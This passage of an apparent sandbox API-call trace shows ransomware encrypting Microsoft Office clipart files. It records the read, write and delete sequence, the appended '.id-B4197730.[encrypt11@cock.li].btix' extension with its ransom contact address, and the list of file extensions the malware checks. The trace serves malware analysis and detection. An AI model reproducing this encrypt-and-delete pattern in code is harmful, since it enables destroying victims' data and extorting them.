lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.806] SetEndOfFile (hFile=0x35c) returned 1 [0153.808] CloseHandle (hObject=0x35c) returned 1 [0153.808] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.808] SetEndOfFile (hFile=0x358) returned 1 [0153.808] CloseHandle (hObject=0x358) returned 1 [0153.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 1 [0153.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0153.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0153.810] lstrlenW (lpString=".doc") returned 4 [0153.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.810] lstrlenW (lpString=".docx") returned 5 [0153.810] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.810] lstrlenW (lpString=".pdf") returned 4 [0153.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.810] lstrlenW (lpString=".xls") returned 4 [0153.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.810] lstrlenW (lpString=".xlsx") returned 5 [0153.810] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.810] lstrlenW (lpString=".ppt") returned 4 [0153.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0153.810] lstrlenW (lpString=".zip") returned 4 [0153.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.810] lstrlenW (lpString=".rar") returned 4 [0153.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.810] lstrlenW (lpString=".bz2") returned 4 [0153.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.810] lstrlenW (lpString=".7z") returned 3 [0153.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0153.810] lstrlenW (lpString=".dbf") returned 4 [0153.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0153.810] lstrlenW (lpString=".1cd") returned 4 [0153.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0153.811] lstrlenW (lpString=".jpg") returned 4 [0153.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.811] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.811] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0153.813] GetLastError () returned 0x0 [0153.813] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1068, lpOverlapped=0x0) returned 1 [0153.985] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1070, lpOverlapped=0x0) returned 1 [0153.986] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.986] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.986] SetEndOfFile (hFile=0x358) returned 1 [0153.986] CloseHandle (hObject=0x358) returned 1 [0153.986] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.986] SetEndOfFile (hFile=0x378) returned 1 [0153.987] CloseHandle (hObject=0x378) returned 1 [0153.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 1 [0153.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0153.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0153.988] lstrlenW (lpString=".doc") returned 4 [0153.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.988] lstrlenW (lpString=".docx") returned 5 [0153.988] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.988] lstrlenW (lpString=".pdf") returned 4 [0153.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.988] lstrlenW (lpString=".xls") returned 4 [0153.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.988] lstrlenW (lpString=".xlsx") returned 5 [0153.988] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.988] lstrlenW (lpString=".ppt") returned 4 [0153.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0153.988] lstrlenW (lpString=".zip") returned 4 [0153.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.988] lstrlenW (lpString=".rar") returned 4 [0153.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.989] lstrlenW (lpString=".bz2") returned 4 [0153.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.989] lstrlenW (lpString=".7z") returned 3 [0153.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0153.989] lstrlenW (lpString=".dbf") returned 4 [0153.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0153.989] lstrlenW (lpString=".1cd") returned 4 [0153.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0153.989] lstrlenW (lpString=".jpg") returned 4 [0153.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.006] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.006] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0154.007] GetLastError () returned 0x0 [0154.007] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1f0c, lpOverlapped=0x0) returned 1 [0154.104] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1f10, lpOverlapped=0x0) returned 1 [0154.105] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.105] WriteFile (in: hFile=0x358, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.105] SetEndOfFile (hFile=0x358) returned 1 [0154.107] CloseHandle (hObject=0x358) returned 1 [0154.107] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.107] SetEndOfFile (hFile=0x378) returned 1 [0154.109] CloseHandle (hObject=0x378) returned 1 [0154.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 1 [0154.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0154.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0154.110] lstrlenW (lpString=".doc") returned 4 [0154.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.110] lstrlenW (lpString=".docx") returned 5 [0154.110] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0154.110] lstrlenW (lpString=".pdf") returned 4 [0154.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.110] lstrlenW (lpString=".xls") returned 4 [0154.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.110] lstrlenW (lpString=".xlsx") returned 5 [0154.110] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0154.110] lstrlenW (lpString=".ppt") returned 4 [0154.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0154.111] lstrlenW (lpString=".zip") returned 4 [0154.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.111] lstrlenW (lpString=".rar") returned 4 [0154.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.111] lstrlenW (lpString=".bz2") returned 4 [0154.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.111] lstrlenW (lpString=".7z") returned 3 [0154.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0154.111] lstrlenW (lpString=".dbf") returned 4 [0154.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0154.111] lstrlenW (lpString=".1cd") returned 4 [0154.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0154.111] lstrlenW (lpString=".jpg") returned 4 [0154.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.112] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.112] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0154.113] GetLastError () returned 0x0 [0154.113] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xed8, lpOverlapped=0x0) returned 1 [0154.115] WriteFile (in: hFile=0x35c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xee0, lpOverlapped=0x0) returned 1 [0154.116] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.117] WriteFile (in: hFile=0x35c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.117] SetEndOfFile (hFile=0x35c) returned 1 [0154.117] CloseHandle (hObject=0x35c) returned 1 [0154.117] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.117] SetEndOfFile (hFile=0x378) returned 1 [0154.118] CloseHandle (hObject=0x378) returned 1 [0154.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 1 [0154.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0154.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0154.119] lstrlenW (lpString=".doc") returned 4 [0154.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.119] lstrlenW (lpString=".docx") returned 5 [0154.119] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.119] lstrlenW (lpString=".pdf") returned 4 [0154.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.119] lstrlenW (lpString=".xls") returned 4 [0154.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.119] lstrlenW (lpString=".xlsx") returned 5 [0154.120] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.120] lstrlenW (lpString=".ppt") returned 4 [0154.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0154.120] lstrlenW (lpString=".zip") returned 4 [0154.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.120] lstrlenW (lpString=".rar") returned 4 [0154.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.120] lstrlenW (lpString=".bz2") returned 4 [0154.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.120] lstrlenW (lpString=".7z") returned 3 [0154.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0154.120] lstrlenW (lpString=".dbf") returned 4 [0154.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0154.120] lstrlenW (lpString=".1cd") returned 4 [0154.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0154.120] lstrlenW (lpString=".jpg") returned 4 [0154.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.121] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.121] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0154.122] GetLastError () returned 0x0 [0154.122] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x2044, lpOverlapped=0x0) returned 1 [0154.124] WriteFile (in: hFile=0x35c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x2050, lpOverlapped=0x0) returned 1 [0154.125] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.125] WriteFile (in: hFile=0x35c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.125] SetEndOfFile (hFile=0x35c) returned 1 [0154.125] CloseHandle (hObject=0x35c) returned 1 [0154.125] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.125] SetEndOfFile (hFile=0x378) returned 1 [0154.126] CloseHandle (hObject=0x378) returned 1 [0154.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf")) returned 1 [0154.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0154.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0154.127] lstrlenW (lpString=".doc") returned 4 [0154.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.127] lstrlenW (lpString=".docx") returned 5 [0154.128] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.128] lstrlenW (lpString=".pdf") returned 4 [0154.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.128] lstrlenW (lpString=".xls") returned 4 [0154.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.128] lstrlenW (lpString=".xlsx") returned 5 [0154.128] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.128] lstrlenW (lpString=".ppt") returned 4 [0154.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0154.128] lstrlenW (lpString=".zip") returned 4 [0154.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.128] lstrlenW (lpString=".rar") returned 4 [0154.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.128] lstrlenW (lpString=".bz2") returned 4 [0154.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.128] lstrlenW (lpString=".7z") returned 3 [0154.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0154.128] lstrlenW (lpString=".dbf") returned 4 [0154.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0154.128] lstrlenW (lpString=".1cd") returned 4 [0154.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68 [0154.128] lstrlenW (lpString=".jpg") returned 4 [0154.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.130] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.130] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0154.131] GetLastError () returned 0x0 [0154.131] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1b68, lpOverlapped=0x0) returned 1 [0154.140] WriteFile (in: hFile=0x35c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1b70, lpOverlapped=0x0) returned 1 [0154.141] ReadFile (in: hFile=0x378, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.141] WriteFile (in: hFile=0x35c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.141] SetEndOfFile (hFile=0x35c) returned 1 [0154.141] CloseHandle (hObject=0x35c) returned 1 [0154.141] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.141] SetEndOfFile (hFile=0x378) returned 1 [0154.142] CloseHandle (hObject=0x378) returned 1 [0154.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.143] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 1 [0154.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0154.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0154.143] lstrlenW (lpString=".doc") returned 4 [0154.144] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.144] lstrlenW (lpString=".docx") returned 5 [0154.144] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.144] lstrlenW (lpString=".pdf") returned 4 [0154.144] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.144] lstrlenW (lpString=".xls") returned 4 [0154.144] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.144] lstrlenW (lpString=".xlsx") returned 5 [0154.144] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.144] lstrlenW (lpString=".ppt") returned 4 [0154.144] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68 [0154.144] lstrlenW (lpString=".zip") returned 4 [0154.144] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.144] lstrlenW (lpString=".rar") returned 4 [0154.144] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.144] 